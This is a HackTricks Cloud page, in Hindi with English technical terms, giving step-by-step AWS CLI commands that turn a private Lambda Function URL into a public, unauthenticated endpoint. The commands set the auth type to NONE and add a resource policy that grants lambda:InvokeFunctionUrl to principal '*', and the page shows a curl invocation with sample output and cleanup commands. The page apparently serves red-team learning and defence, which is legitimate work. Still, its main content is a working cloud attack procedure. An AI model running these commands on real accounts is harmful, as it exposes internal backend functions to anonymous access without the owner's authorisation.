AWS - Lambda Function URL सार्वजनिक एक्सपोजर (AuthType NONE + Public Invoke Policy)
Reading time: 3 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Function URL AuthType को NONE में बदलकर और एक resource-based policy को जोड़कर जो lambda:InvokeFunctionUrl को हर किसी को देती है, एक private Lambda Function URL को public unauthenticated endpoint में बदलें। इससे internal functions का anonymous invocation संभव हो जाता है और संवेदनशील backend operations उजागर हो सकते हैं।
दुरुपयोग
- पूर्व-आवश्यकताएँ: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
- Region: us-east-1
कदम
- सुनिश्चित करें कि function में एक Function URL है (defaults to AWS_IAM):
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
- URL को public में बदलें (AuthType NONE):
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
- unauthenticated principals को अनुमति देने के लिए एक resource-based policy statement जोड़ें:
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
- URL प्राप्त करें और credentials के बिना invoke करें:
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
curl -sS "$URL"
प्रभाव
- Lambda function इंटरनेट पर anonymously उपलब्ध हो जाती है।
उदाहरण आउटपुट (unauthenticated 200)
HTTP 200
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}
सफाई
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud